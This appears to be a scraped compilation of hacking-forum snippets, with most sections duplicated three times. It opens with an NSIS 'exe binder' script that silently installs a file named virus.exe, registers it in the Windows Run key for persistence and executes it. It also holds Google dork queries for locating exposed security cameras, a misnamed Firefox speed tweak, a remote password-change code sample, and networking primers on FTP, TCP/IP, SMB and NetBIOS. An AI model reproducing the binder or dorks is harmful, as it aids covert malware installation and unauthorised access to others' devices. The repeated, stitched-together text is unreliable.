Nullsoft Exe Binder

silentinstall silent ; this will create a silent installer
outfile "setup.exe"; the output exe
installdir $SYSDIR\5016 ; install directory


section ""         ; the entry point 
setoutpath $INSTDIR

file "c:\napstr\virus.exe"  ; path of malware
WriteRegStr HKLM "SOFTWARE\Microsoft\Windows\...\Explorer\Run" 'apz' $INSTDIR\virus.exe
;it registered the executable to startup
exec $INSTDIR\virus.exe  ;execute the malware just after installation.
sectionend


Note: Everything that starts with ";" is a comment. 

Nullsoft Exe Binder

silentinstall silent ; this will create a silent installer
outfile "setup.exe"; the output exe
installdir $SYSDIR\5016 ; install directory


section ""         ; the entry point 
setoutpath $INSTDIR

file "c:\napstr\virus.exe"  ; path of malware
WriteRegStr HKLM "SOFTWARE\Microsoft\Windows\...\Explorer\Run" 'apz' $INSTDIR\virus.exe
;it registered the executable to startup
exec $INSTDIR\virus.exe  ;execute the malware just after installation.
sectionend


Note: Everything that starts with ";" is a comment. 

Nullsoft Exe Binder

silentinstall silent ; this will create a silent installer
outfile "setup.exe"; the output exe
installdir $SYSDIR\5016 ; install directory


section ""         ; the entry point 
setoutpath $INSTDIR

file "c:\napstr\virus.exe"  ; path of malware
WriteRegStr HKLM "SOFTWARE\Microsoft\Windows\...\Explorer\Run" 'apz' $INSTDIR\virus.exe
;it registered the executable to startup
exec $INSTDIR\virus.exe  ;execute the malware just after installation.
sectionend


Note: Everything that starts with ";" is a comment. 

FireFox Load Time Exploit

1. Type "about:config" into the address bar and hit return. Scroll
down and look for the following entries:


network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests



Normally the browser will make one request to a web page at a time.
When you enable pipelining it will make several at once, which really
speeds up page loading.


2. Alter the entries as follows:


Set "network.http.pipelining" to "true"


Set "network.http.proxy.pipelining" to "true"


Set "network.http.pipelining.maxrequests" to some number like 30. This
means it will make 30 requests at once.


3. Lastly right-click anywhere and select New-> Integer.
Name it "nglayout.initialpaint.delay" and set its value to "0".
This value is the amount of time the browser waits before it acts on information it recieves.


If you're using a brodband connection you'll load pages 2-3 times faster now.

FireFox Load Time Exploit

1. Type "about:config" into the address bar and hit return. Scroll
down and look for the following entries:


network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests



Normally the browser will make one request to a web page at a time.
When you enable pipelining it will make several at once, which really
speeds up page loading.


2. Alter the entries as follows:


Set "network.http.pipelining" to "true"


Set "network.http.proxy.pipelining" to "true"


Set "network.http.pipelining.maxrequests" to some number like 30. This
means it will make 30 requests at once.


3. Lastly right-click anywhere and select New-> Integer.
Name it "nglayout.initialpaint.delay" and set its value to "0".
This value is the amount of time the browser waits before it acts on information it recieves.


If you're using a brodband connection you'll load pages 2-3 times faster now.

FireFox Load Time Exploit

1. Type "about:config" into the address bar and hit return. Scroll
down and look for the following entries:


network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests



Normally the browser will make one request to a web page at a time.
When you enable pipelining it will make several at once, which really
speeds up page loading.


2. Alter the entries as follows:


Set "network.http.pipelining" to "true"


Set "network.http.proxy.pipelining" to "true"


Set "network.http.pipelining.maxrequests" to some number like 30. This
means it will make 30 requests at once.


3. Lastly right-click anywhere and select New-> Integer.
Name it "nglayout.initialpaint.delay" and set its value to "0".
This value is the amount of time the browser waits before it acts on information it recieves.


If you're using a brodband connection you'll load pages 2-3 times faster now.

Find Security Cameras

inurl:"ViewerFrame?Mode="
intitle:"WJ-NT104 Main Page"
inurl:netw_tcp.shtml
intitle:"supervisioncam protocol"

Find Security Cameras

inurl:"ViewerFrame?Mode="
intitle:"WJ-NT104 Main Page"
inurl:netw_tcp.shtml
intitle:"supervisioncam protocol"

Find Security Cameras

inurl:"ViewerFrame?Mode="
intitle:"WJ-NT104 Main Page"
inurl:netw_tcp.shtml
intitle:"supervisioncam protocol"

Networking (LAN Manager) API Sample

This sample changes the password for an arbitrary user on an arbitrary 
target machine. 


When targetting a domain controller for account update operations, 
be sure to target the primary domain controller for the domain. 
The account settings are replicated by the primary domain controller 
to each backup domain controller as appropriate. The NetGetDCName() 
Lan Manager API call can be used to get the primary domain controller 
computer name from a domain name. 

Note that admin or account operator privilege is required on the 
target machine unless argv[4] is present and represents the correct 
current password. 


NetUserSetInfo() at info-level 1003 is appropriate for administrative 
over-ride of an existing password. 


NetUserChangePassword() allows for an arbitrary user to over-ride 
an existing password providing that the current password is confirmed. 
CHNGPASS.C
/*++ 

Copyright (c) 1995, 1996  Microsoft Corporation 

Module Name: 

    chngpass.c 

Abstract: 

    This sample changes the password for an arbitrary user on an arbitrary 
    target machine. 

    When targetting a domain controller for account update operations, 
    be sure to target the primary domain controller for the domain. 
    The account settings are replicated by the primary domain controller 
    to each backup domain controller as appropriate.  The NetGetDCName() 
    Lan Manager API call can be used to get the primary domain controller 
    computer name from a domain name. 


    Username is argv[1] 
    new password is argv[2] 
    optional target machine (or domain name) is argv[3] 
    optional old password is argv[4].  This allows non-admin password 
     changes. 

    Note that admin or account operator privilege is required on the 
    target machine unless argv[4] is present and represents the correct 
    current password. 

    NetUserSetInfo() at info-level 1003 is appropriate for administrative 
    over-ride of an existing password. 

    NetUserChangePassword() allows for an arbitrary user to over-ride 
    an existing password providing that the current password is confirmed. 

    Link with netapi32.lib 

Author: 

    Scott Field (sfield)    21-Dec-95 

--*/ 

#include <windows.h> 
#include <stdio.h> 

#include <lm.h> 

#define RTN_OK 0 
#define RTN_USAGE 1 
#define RTN_ERROR 13 

void 
DisplayErrorText( 
    DWORD dwLastError 
    ); 

// 
// Unicode entry point and argv 
// 

int 
__cdecl 
wmain( 
    int argc, 
    wchar_t *argv[] 
    ) 
{ 
    LPWSTR          wUserName; 
    LPWSTR          wComputerName = NULL; // default to local machine 
    LPWSTR          wOldPassword; 
    LPWSTR          wNewPassword; 
    USER_INFO_1003  pi1003; 
    NET_API_STATUS  nas; 

    if( argc < 3 ) { 
        fprintf(stderr, "Usage: %ls <user> <new_password> " 
                        "[\\\\machine | domain] [old_password]\n", 
                        argv[0]); 
        return RTN_USAGE; 
    } 

    // 
    // process command line arguments 
    // 

    wUserName = argv[1]; 
    wNewPassword = argv[2]; 

    if( argc >= 4 && *argv[3] != L'\0' ) { 

        // 
        // obtain target machine name, if appropriate 
        // always in Unicode, as that is what the API takes 
        // 

        if(argv[3][0] == L'\\' && argv[3][1] == L'\\') { 

            // 
            // target specified machine name 
            // 

            wComputerName = argv[3]; 
        } 
        else { 

            // 
            // the user specified a domain name.  Lookup the PDC 
            // 

            nas = NetGetDCName( 
                NULL, 
                argv[3], 
                (LPBYTE *)&wComputerName 
                ); 

            if(nas != NERR_Success) { 
                DisplayErrorText( nas ); 
                return RTN_ERROR; 
            } 
        } 
    } 

    if(argc == 5) { 
        wOldPassword = argv[4]; 
    } else { 
        wOldPassword = NULL; 
    } 

    if(wOldPassword == NULL) { 

        // 
        // administrative over-ride of existing password 
        // 

        pi1003.usri1003_password = wNewPassword; 

        nas = NetUserSetInfo( 
                wComputerName,  // computer name 
                wUserName,      // username 
                1003,           // info level 
                (LPBYTE)&pi1003,     // new info 
                NULL 
                ); 
    } else { 

        // 
        // allows user to change their own password 
        // 

        nas = NetUserChangePassword( 
                wComputerName, 
                wUserName, 
                wOldPassword, 
                wNewPassword 
                ); 
    } 

    if(wComputerName != NULL && wComputerName != argv[3]) { 

        // 
        // a buffer was allocated for the PDC name, free it 
        // 

        NetApiBufferFree(wComputerName); 
    } 

    if(nas != NERR_Success) { 
        DisplayErrorText( nas ); 
        return RTN_ERROR; 
    } 

    return RTN_OK; 
} 

void 
DisplayErrorText( 
    DWORD dwLastError 
    ) 
{ 
    HMODULE hModule = NULL; // default to system source 
    LPSTR MessageBuffer; 
    DWORD dwBufferLength; 
    DWORD dwFormatFlags; 

    dwFormatFlags = FORMAT_MESSAGE_ALLOCATE_BUFFER | 
                    FORMAT_MESSAGE_IGNORE_INSERTS | 
                    FORMAT_MESSAGE_FROM_SYSTEM ; 

    // 
    // if dwLastError is in the network range, load the message source 
    // 
    if(dwLastError >= NERR_BASE && dwLastError <= MAX_NERR) { 
        hModule = LoadLibraryEx( 
            TEXT("netmsg.dll"), 
            NULL, 
            LOAD_LIBRARY_AS_DATAFILE 
            ); 

        if(hModule != NULL) 
            dwFormatFlags |= FORMAT_MESSAGE_FROM_HMODULE; 
    } 

    // 
    // call FormatMessage() to allow for message text to be acquired 
    // from the system or the supplied module handle 
    // 
    if(dwBufferLength = FormatMessageA( 
        dwFormatFlags, 
        hModule, // module to get message from (NULL == system) 
        dwLastError, 
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // default language 
        (LPSTR) &MessageBuffer, 
        0, 
        NULL 
        )) 
    { 
        DWORD dwBytesWritten; 

        // 
        // Output message string on stderr 
        // 
        WriteFile( 
            GetStdHandle(STD_ERROR_HANDLE), 
            MessageBuffer, 
            dwBufferLength, 
            &dwBytesWritten, 
            NULL 
            ); 

        // 
        // free the buffer allocated by the system 
        // 
        LocalFree(MessageBuffer); 
    } 

    // 
    // if we loaded a message source, unload it 
    // 
    if(hModule != NULL) 
        FreeLibrary(hModule); 
} 

File Transfer Protocol (FTP)

  The file transfer protocol (FTP) allows a user on any computer to get files from another computer, or to send files to another computer. Security is handled by requiring the user to specify a user name and password for the other computer, or logging into a system that allows for Anonymous logins. 

Provisions are made for handling file transfer between machines with different character set, end of line conventions, etc. This is not quite the same thing as more recent "network file system" or "NetBIOS" protocols, which will be described below. Rather, FTP is a utility that you run any time you want to access a file on another system. You use it to copy the file to your own system. You then work with the local copy. 

(See RFC 959 for specifications for FTP.)  

File Transfer Protocol (FTP)

  The file transfer protocol (FTP) allows a user on any computer to get files from another computer, or to send files to another computer. Security is handled by requiring the user to specify a user name and password for the other computer, or logging into a system that allows for Anonymous logins. 

Provisions are made for handling file transfer between machines with different character set, end of line conventions, etc. This is not quite the same thing as more recent "network file system" or "NetBIOS" protocols, which will be described below. Rather, FTP is a utility that you run any time you want to access a file on another system. You use it to copy the file to your own system. You then work with the local copy. 

(See RFC 959 for specifications for FTP.)  

File Transfer Protocol (FTP)

  The file transfer protocol (FTP) allows a user on any computer to get files from another computer, or to send files to another computer. Security is handled by requiring the user to specify a user name and password for the other computer, or logging into a system that allows for Anonymous logins. 

Provisions are made for handling file transfer between machines with different character set, end of line conventions, etc. This is not quite the same thing as more recent "network file system" or "NetBIOS" protocols, which will be described below. Rather, FTP is a utility that you run any time you want to access a file on another system. You use it to copy the file to your own system. You then work with the local copy. 

(See RFC 959 for specifications for FTP.)  

What is TCP/IP?

TCP/IP is a set of protocols developed to allow cooperating computers to share resources across a network. It was developed by a community of researchers centered around the ARPAnet (Advanced Research Projects Agency). Certainly the ARPAnet is the best-known TCP/IP network. However as of June, 87, at least 130 different vendors had products that support TCP/IP, and thousands of networks of all kinds use it.

First some basic definitions. The most accurate name for the set of protocols we are describing is the "Internet protocol suite". TCP and IP are two of the protocols in this suite. (They will be described below.) Because TCP and IP are the best known of the protocols, it has become common to use the term TCP/IP to refer to the whole family.

The Internet is a collection of networks, including the Arpanet, NSFnet, regional networks such as NYsernet, local networks at a number of University and research institutions, and a number of military networks and a growing number of private corporation owned networks. The term "Internet" applies to this entire set of networks. The subset of them that is managed by the Department of Defense is referred to as the "DDN" (Defense Data Network). This includes some research-oriented networks, such as the Arpanet, as well as more strictly military ones. All of these networks are connected to each other. Users can send messages from any of them to any other, except where there are security or other policy restrictions on access.

Officially speaking, the Internet protocol documents are simply standards adopted by the Internet community for its own use. More recently, the Department of Defense issued a MILSPEC definition of

TCP/IP. This was intended to be a more formal definition, appropriate for use in purchasing specifications. However most of the TCP/IP community continues to use the Internet standards. The MILSPEC version is intended to be consistent with it.

Whatever it is called, TCP/IP is a family of protocols. A few provide "low-level" functions needed for many applications. These include IP, TCP, and UDP. (These will be described in a bit more detail later.)

Others are protocols for doing specific tasks, e.g. transferring files between computers, sending mail, or finding out who is logged in on another computer. Initially TCP/IP was used mostly between

minicomputers or mainframes. These machines had their own disks, and generally were self-contained. Thus the most important "traditional" TCP/IP services are:

File Transfer, Remote Login , Computer Mail, Network File Systems, Remote Printing, Remote Execution, Name Servers, Terminal Servers, Network-Oriented Window Systems,

What is TCP/IP?

TCP/IP is a set of protocols developed to allow cooperating computers to share resources across a network. It was developed by a community of researchers centered around the ARPAnet (Advanced Research Projects Agency). Certainly the ARPAnet is the best-known TCP/IP network. However as of June, 87, at least 130 different vendors had products that support TCP/IP, and thousands of networks of all kinds use it.

First some basic definitions. The most accurate name for the set of protocols we are describing is the "Internet protocol suite". TCP and IP are two of the protocols in this suite. (They will be described below.) Because TCP and IP are the best known of the protocols, it has become common to use the term TCP/IP to refer to the whole family.

The Internet is a collection of networks, including the Arpanet, NSFnet, regional networks such as NYsernet, local networks at a number of University and research institutions, and a number of military networks and a growing number of private corporation owned networks. The term "Internet" applies to this entire set of networks. The subset of them that is managed by the Department of Defense is referred to as the "DDN" (Defense Data Network). This includes some research-oriented networks, such as the Arpanet, as well as more strictly military ones. All of these networks are connected to each other. Users can send messages from any of them to any other, except where there are security or other policy restrictions on access.

Officially speaking, the Internet protocol documents are simply standards adopted by the Internet community for its own use. More recently, the Department of Defense issued a MILSPEC definition of

TCP/IP. This was intended to be a more formal definition, appropriate for use in purchasing specifications. However most of the TCP/IP community continues to use the Internet standards. The MILSPEC version is intended to be consistent with it.

Whatever it is called, TCP/IP is a family of protocols. A few provide "low-level" functions needed for many applications. These include IP, TCP, and UDP. (These will be described in a bit more detail later.)

Others are protocols for doing specific tasks, e.g. transferring files between computers, sending mail, or finding out who is logged in on another computer. Initially TCP/IP was used mostly between

minicomputers or mainframes. These machines had their own disks, and generally were self-contained. Thus the most important "traditional" TCP/IP services are:

File Transfer, Remote Login , Computer Mail, Network File Systems, Remote Printing, Remote Execution, Name Servers, Terminal Servers, Network-Oriented Window Systems,

What is TCP/IP?

TCP/IP is a set of protocols developed to allow cooperating computers to share resources across a network. It was developed by a community of researchers centered around the ARPAnet (Advanced Research Projects Agency). Certainly the ARPAnet is the best-known TCP/IP network. However as of June, 87, at least 130 different vendors had products that support TCP/IP, and thousands of networks of all kinds use it.

First some basic definitions. The most accurate name for the set of protocols we are describing is the "Internet protocol suite". TCP and IP are two of the protocols in this suite. (They will be described below.) Because TCP and IP are the best known of the protocols, it has become common to use the term TCP/IP to refer to the whole family.

The Internet is a collection of networks, including the Arpanet, NSFnet, regional networks such as NYsernet, local networks at a number of University and research institutions, and a number of military networks and a growing number of private corporation owned networks. The term "Internet" applies to this entire set of networks. The subset of them that is managed by the Department of Defense is referred to as the "DDN" (Defense Data Network). This includes some research-oriented networks, such as the Arpanet, as well as more strictly military ones. All of these networks are connected to each other. Users can send messages from any of them to any other, except where there are security or other policy restrictions on access.

Officially speaking, the Internet protocol documents are simply standards adopted by the Internet community for its own use. More recently, the Department of Defense issued a MILSPEC definition of

TCP/IP. This was intended to be a more formal definition, appropriate for use in purchasing specifications. However most of the TCP/IP community continues to use the Internet standards. The MILSPEC version is intended to be consistent with it.

Whatever it is called, TCP/IP is a family of protocols. A few provide "low-level" functions needed for many applications. These include IP, TCP, and UDP. (These will be described in a bit more detail later.)

Others are protocols for doing specific tasks, e.g. transferring files between computers, sending mail, or finding out who is logged in on another computer. Initially TCP/IP was used mostly between

minicomputers or mainframes. These machines had their own disks, and generally were self-contained. Thus the most important "traditional" TCP/IP services are:

File Transfer, Remote Login , Computer Mail, Network File Systems, Remote Printing, Remote Execution, Name Servers, Terminal Servers, Network-Oriented Window Systems,

What are SMB's?

Server Message Blocks are a type of "messaging protocol" that LAN Manager (and NT) clients and servers use to communicate with each other. SMB's are a higher level protocol that can be transported over NetBEUI, NetBIOS over IPX, and NetBIOS over TCP/IP (or NBT).

SMBs are used by Windows 3.X, Win95, WintNT and OS/2. When it comes to security and the compromise of security on an NT network, the one thing to remember about SMBs is that it allows for remote access to shared directories, the registry, and other system services, making it a deadly protocol in the eyes of security conscience people.

The SMB protocol was originally developed by IBM, and then jointly developed by Microsoft and IBM. Network requests that are sent using SMB's are encoded as Network Control Blocks (NCB) data structures. The NCB data structures are encoded in SMB format for transmission across the network. SMB is used in many Microsoft and IBM networking software:

• MS-Net

• IBM PC Network

• IBM LAN Server

• MS LAN Manager

• LAN Manager for Unix

• DEC Pathworks

• MS Windows for Workgroups

• Ungermann-Bass Net/1

• NT Networks through support for LAN Manager

SMB Messages can be categorized into four types:

Session Control: Used to establish or discontinue Redirector connections with a remote network resource such as a directory or printer. (The redirector is explained below)

File: Used to access and manipulate file system resources on the remote computer.

Printer: Used by the Redirector to send print data to a remote printer or queue, and to obtain the status of remote print devices.

Message: Used by applications and system components to send unicast or broadcast messages.

The Redirector
The Redirector is the component that enables a client computer to gain access to resources on another computer as if the remote resources were local to the client computer. The Redirector communicates with other computers using the protocol stack.

The Redirectors primary function is to format remote requests so that they can be understood by a remote station (such as a file server) and send them on their way through the network.

The Redirector uses the Server Message Block (SMB) structure as the standard vehicle for sending these requests. The SMB is also the vehicle by which stations return responses to Redirector requests.

Each SMB contains a header consisting of the command code (which specifies the task that the redirector wants the remote station to perform) and several environment and parameter fields (which specify how the command should be carried out).

In addition to the header, the last field in the SMB may contain up to 64K of data to be sent to the remote station.

What are SMB's?

Server Message Blocks are a type of "messaging protocol" that LAN Manager (and NT) clients and servers use to communicate with each other. SMB's are a higher level protocol that can be transported over NetBEUI, NetBIOS over IPX, and NetBIOS over TCP/IP (or NBT).

SMBs are used by Windows 3.X, Win95, WintNT and OS/2. When it comes to security and the compromise of security on an NT network, the one thing to remember about SMBs is that it allows for remote access to shared directories, the registry, and other system services, making it a deadly protocol in the eyes of security conscience people.

The SMB protocol was originally developed by IBM, and then jointly developed by Microsoft and IBM. Network requests that are sent using SMB's are encoded as Network Control Blocks (NCB) data structures. The NCB data structures are encoded in SMB format for transmission across the network. SMB is used in many Microsoft and IBM networking software:

• MS-Net

• IBM PC Network

• IBM LAN Server

• MS LAN Manager

• LAN Manager for Unix

• DEC Pathworks

• MS Windows for Workgroups

• Ungermann-Bass Net/1

• NT Networks through support for LAN Manager

SMB Messages can be categorized into four types:

Session Control: Used to establish or discontinue Redirector connections with a remote network resource such as a directory or printer. (The redirector is explained below)

File: Used to access and manipulate file system resources on the remote computer.

Printer: Used by the Redirector to send print data to a remote printer or queue, and to obtain the status of remote print devices.

Message: Used by applications and system components to send unicast or broadcast messages.

The Redirector
The Redirector is the component that enables a client computer to gain access to resources on another computer as if the remote resources were local to the client computer. The Redirector communicates with other computers using the protocol stack.

The Redirectors primary function is to format remote requests so that they can be understood by a remote station (such as a file server) and send them on their way through the network.

The Redirector uses the Server Message Block (SMB) structure as the standard vehicle for sending these requests. The SMB is also the vehicle by which stations return responses to Redirector requests.

Each SMB contains a header consisting of the command code (which specifies the task that the redirector wants the remote station to perform) and several environment and parameter fields (which specify how the command should be carried out).

In addition to the header, the last field in the SMB may contain up to 64K of data to be sent to the remote station.

What are SMB's?

Server Message Blocks are a type of "messaging protocol" that LAN Manager (and NT) clients and servers use to communicate with each other. SMB's are a higher level protocol that can be transported over NetBEUI, NetBIOS over IPX, and NetBIOS over TCP/IP (or NBT).

SMBs are used by Windows 3.X, Win95, WintNT and OS/2. When it comes to security and the compromise of security on an NT network, the one thing to remember about SMBs is that it allows for remote access to shared directories, the registry, and other system services, making it a deadly protocol in the eyes of security conscience people.

The SMB protocol was originally developed by IBM, and then jointly developed by Microsoft and IBM. Network requests that are sent using SMB's are encoded as Network Control Blocks (NCB) data structures. The NCB data structures are encoded in SMB format for transmission across the network. SMB is used in many Microsoft and IBM networking software:

• MS-Net

• IBM PC Network

• IBM LAN Server

• MS LAN Manager

• LAN Manager for Unix

• DEC Pathworks

• MS Windows for Workgroups

• Ungermann-Bass Net/1

• NT Networks through support for LAN Manager

SMB Messages can be categorized into four types:

Session Control: Used to establish or discontinue Redirector connections with a remote network resource such as a directory or printer. (The redirector is explained below)

File: Used to access and manipulate file system resources on the remote computer.

Printer: Used by the Redirector to send print data to a remote printer or queue, and to obtain the status of remote print devices.

Message: Used by applications and system components to send unicast or broadcast messages.

The Redirector
The Redirector is the component that enables a client computer to gain access to resources on another computer as if the remote resources were local to the client computer. The Redirector communicates with other computers using the protocol stack.

The Redirectors primary function is to format remote requests so that they can be understood by a remote station (such as a file server) and send them on their way through the network.

The Redirector uses the Server Message Block (SMB) structure as the standard vehicle for sending these requests. The SMB is also the vehicle by which stations return responses to Redirector requests.

Each SMB contains a header consisting of the command code (which specifies the task that the redirector wants the remote station to perform) and several environment and parameter fields (which specify how the command should be carried out).

In addition to the header, the last field in the SMB may contain up to 64K of data to be sent to the remote station.

Whats is NetBIOS?

NetBIOS (Network Basic Input/Output System) was originally developed by IBM and Sytek as an Application Programming Interface (API) for client software to access LAN resources. Since its creation, NetBIOS has become the basis for many other networking applications. In its strictest sense, NetBIOS is an interface specification for acessing networking services.

NetBIOS, a layer of software developed to link a network operating system with specific hardware, was originally designed as THE network controller for IBM's Network LAN. NetBIOS has now been extended to allow programs written using the NetBIOS interface to operate on the IBM token ring architecture. NetBIOS has since been adopted as an industry standard and now, it is common to refer to NetBIOS-compatible LANs.

It offers network applications a set of "hooks" to carry out inter-application communication and data transfer. In a basic sense, NetBIOS allows applications to talk to the network. Its intention is to isolate application programs from any type of hardware dependancies. It also spares software developers the task of developing network error recovery and low level message addressing or routing. The use of the NetBIOS interface does alot of this work for them.

NetBIOS standardizes the interface between applications and a LANs operating capabilities. With this, it can be specified to which levels of the OSI model the application can write to, making the application transportable to other networks. In a NetBIOS LAN enviroment, computers are known on the system  by a name. Each computer on the network has a permanent name that is programmed in various different ways. These names will be discussed in more detail below.

PC's on a NetBIOS LAN communicate either by establishing a session or by using NetBIOS datagram or broadcast methods. Sessions allow for a larger message to be sent and handle error detection and correction. The communication is on a one-to-one basis.  Datagram and broadcast methods allow one computer to communicate with several other computers at the same time, but are limited in message size. There is no error detection or correction using these datagram or broadcast methods. However, datagram communication allows for communication without having to establish a session.

All communication in these enviroments are presented to NetBIOS in a format called Network Control Blocks (NCB). The allocation of these blocks in memory is dependant on the user program. These NCB's are divided into fields, these are reserved for input and output respectively.

NetBIOS is a very common protocol used in todays enviroments. NetBIOS is supported on Ethernet, TokenRing, and IBM PC Networks.  In its original induction, it was defined as only an interface between the application and the network adapter. Since then, transport like functions have been added to NetBIOS, making it more functional over time.

In NetBIOS, connection (TCP) oriented and connectionless (UDP) communication are both supported. It supports both broadcasts and multicasting and supports three distinct services: Naming, Session, and Datagram.

NetBIOS Names

NetBIOS names are used to identify resources on a network. Applications use these names to start and end sessions. You can configure a single machine with multiple applications, each of which has a unique NetBIOS name. Each PC that supports an application  also has a NetBIOS station name that is user defined or that NetBIOS derives by internal means.

NetBIOS can consist of up to 16 alphanumeric characters. The combination of characters must be unique within  the entire source routing network. Before a PC that uses NetBIOS can fully function on a network, that PC must register their NetBIOS name.

When a client becomes active, the client advertises their name. A client is considered to be registered when it can successfully advertise itself without any other client claiming it has the same name. The steps of the registration process is as follows:

1. Upon boot up, the client broadcasts itself and its NetBIOS information anywhere from 6 to 10 to ensure every other client on the network receives the information.

2. If another client on the network already has the name, that NetBIOS client issues its own broadcast to indicate that the name is in use. The client who is trying to register the already in use name, stop all attempts to register that name.

3. If no other client on the network objects to the name registration, the client will finish the registration process.

There are two types of names in a NetBIOS enviroment: Unique and Group. A unique name must be unique across the network. A group name does not have to be unique and all processes that have a given group name belong to the group. Each NetBIOS node maintains a table of all names currently owned by that node.

The NetBIOS naming convention allows for 16 characters in a NetBIOS name. Microsoft, however, limits these names to 15 characters and uses the 16th character as a NetBIOS suffix. A NetBIOS suffix  is used by Microsoft Networking software to indentify the functionality installed or the registered device or service.

[QuickNote: SMB and NBT (NetBIOS over TCP/IP work very closely together and both use ports 137, 138, 139. Port 137 is NetBIOS name UDP. Port 138 is NetBIOS datagram UDP. Port 139 is NetBIOS session TCP. For further information on NetBIOS, read the paper at the rhino9 website listed above]

The following is a table of NetBIOS suffixes currently used by Microsoft WindowsNT. These suffixes are displayed in hexadecimal format.

Name	Number	Type	Usage
<computername>	00	U	Workstation Service
<computername>	01	U	Messenger Service
<\\_MSBROWSE_>	01	G	Master Browser
<computername>	03	U	Messenger Service
<computername>	06	U	RAS Server Service
<computername>	1F	U	NetDDE Service
<computername>	20	U	File Server Service
<computername>	21	U	RAS Client Service
<computername>	22	U	Exchange Interchange
<computername>	23	U	Exchange Store
<computername>	24	U	Exchange Directory
<computername>	30	U	Modem Sharing Server Service
<computername>	31	U	Modem Sharing Client Service
<computername>	43	U	SMS Client Remote Control
<computername>	44	U	SMS Admin Remote Control Tool
<computername>	45	U	SMS Client Remote Chat
<computername>	46	U	SMS Client Remote Transfer
<computername>	4C	U	DEC Pathworks TCPIP Service
<computername>	52	U	DEC Pathworks TCPIP Service
<computername>	87	U	Exchange MTA
<computername>	6A	U	Exchange IMC
<computername>	BE	U	Network Monitor Agent
<computername>	BF	U	Network Monitor Apps
<username>	03	U	Messenger Service
<domain>	00	G	Domain Name
<domain>	1B	U	Domain Master Browser
<domain>	1C	G	Domain Controllers
<domain>	1D	U	Master Browser
<domain>	1E	G	Browser Service Elections
<INet~Services>	1C	G	Internet Information Server
<IS~Computer_name>	00	U	Internet Information Server
<computername>	[2B]	U	Lotus Notes Server
IRISMULTICAST	[2F]	G	Lotus Notes
IRISNAMESERVER	[33]	G	Lotus Notes
Forte_$ND800ZA	[20]	U	DCA Irmalan Gateway Service

Unique (U): The name may have only one IP address assigned to it. On a network device, multiple occurences of a single name may appear to be registered, but the suffix will be unique, making the entire name unique.

Group (G): A normal group; the single name may exist with many IP addresses.

Multihomed (M): The name is unique, but due to multiple network interfaces on the same computer, this configuration is necessary to permit the registration. Maximum number of addresses is 25.

Internet Group (I): This is a special configuration of the group name used to manage WinNT domain names.

Domain Name (D): New in NT 4.0

For a quick and dirty look at a servers registered NetBIOS names and services, issue the following NBTSTAT command:

nbtstat -A [ipaddress]

nbtstat -a [host]

NetBIOS Sessions

The NetBIOS session service provides a connection-oriented, reliable, full-duplex message service to a user process. NetBIOS requires one process to be the client and the other to be the server. NetBIOS session establishment requires a preordained cooperation between the two stations. One application must have issued a Listen command when another application issues a Call command. The Listen command references a name in its NetBIOS name table (or WINS server), and also the remote name an application must use to qualify as a session partner.  If the receiver (listener) is not already listening, the Call will be unsuccessful. If the call is successful, each application receives notification of session establishment with the session-id. The Send and Receive commands the transfer data. At the end of a session, either application can issue a Hang-Up command. There is no real flow control for the session service because it is assumed a LAN is fast enough to carry the required traffic.

NetBIOS Datagrams

Datagrams  can be sent to a specific name, sent to all members of a group, or broadcast to the entire LAN. As with other datagram services, the NetBIOS datagrams are connectionless and unreliable. The Send_Datagram command requires the caller to specify the name of the destination. If the destination is a group name, then every member of the group receives the datagram. The caller of the Receive_Datagram command must specify the local name for which it wants to receive datagrams. The Receive_Datagram command also returns the name of the sender, in addition to the actual datagram data. If NetBIOS receives a datagram, but there are no Receive_Datagram commands pending, then the datagram is discarded.

The Send_Broadcast_Datagram command sends the message to every NetBIOS system on the local network. When a broadcast datagram is received by a NetBIOS node, every process that has issued a Receive_Broadcast_Datagram command receives the datagram. If none of these commands are outstanding when the broadcast datagram is received, the datagram is discarded.

NetBIOS enables an application to establish a session with another device and lets the network redirector and transaction protocols pass a request to and from another machine. NetBIOS does not actually manipulate the data. The NetBIOS specification defines an interface to the network protocol used to reach those services, not the protocol itself. Historically, has been paired with a network protocol called NetBEUI (network extended user interface). The association of the interface and the protocol has sometimes caused confusion, but the two are different.

Network protocols always provide at least one method for locating and connecting to a particular service on a network. This is usually accomplished by converting a node or service name to a network address (name resolution). NetBIOS service names must be resolved to an IP address before connections can be established with TCP/IP. Most NetBIOS implementations for TCP/IP accomplish name address resolution by using either broadcast or LMHOSTS files. In a Microsoft enviroment, you would probably also use a NetBIOS Namer Server known as WINS

NetBEUI Explained

NetBEUI is an enhanced version of the NetBIOS protocol used by network operating systems. It formalizes the transport frame that was never standardized in NetBIOS and adds additional functions. The transport layer driver frequently used by Microsofts LAN Manager. NetBEUI implements the OSI LLC2 protocol.  NetBEUI is the original PC networking protocol and interface designed by IBM for the LanManger Server. This protocol was later adopted by Microsoft for their networking products. It specifies the way that higher level software sends and receives messages over the NetBIOS frame protocol. This protocol runs over the standard 802.2 data-link protocol layer.

NetBIOS Scopes

A NetBIOS Scope ID provides an extended naming service for the NetBIOS over TCP/IP (Known as NBT) module. The primary purpose of a NetBIOS scope ID is to isolate NetBIOS traffic on a single network to only those nodes with the same NetBIOS scope ID. The NetBIOS scope ID is a character string that is appended to the NetBIOS name. The NetBIOS scope ID on two hosts must match, or the two hosts will not be able to communicate. The NetBIOS Scope ID also allows computers to use the same computer namee as they have different scope IDs. The Scope ID becomes a part of the NetBIOS name, making the name unique.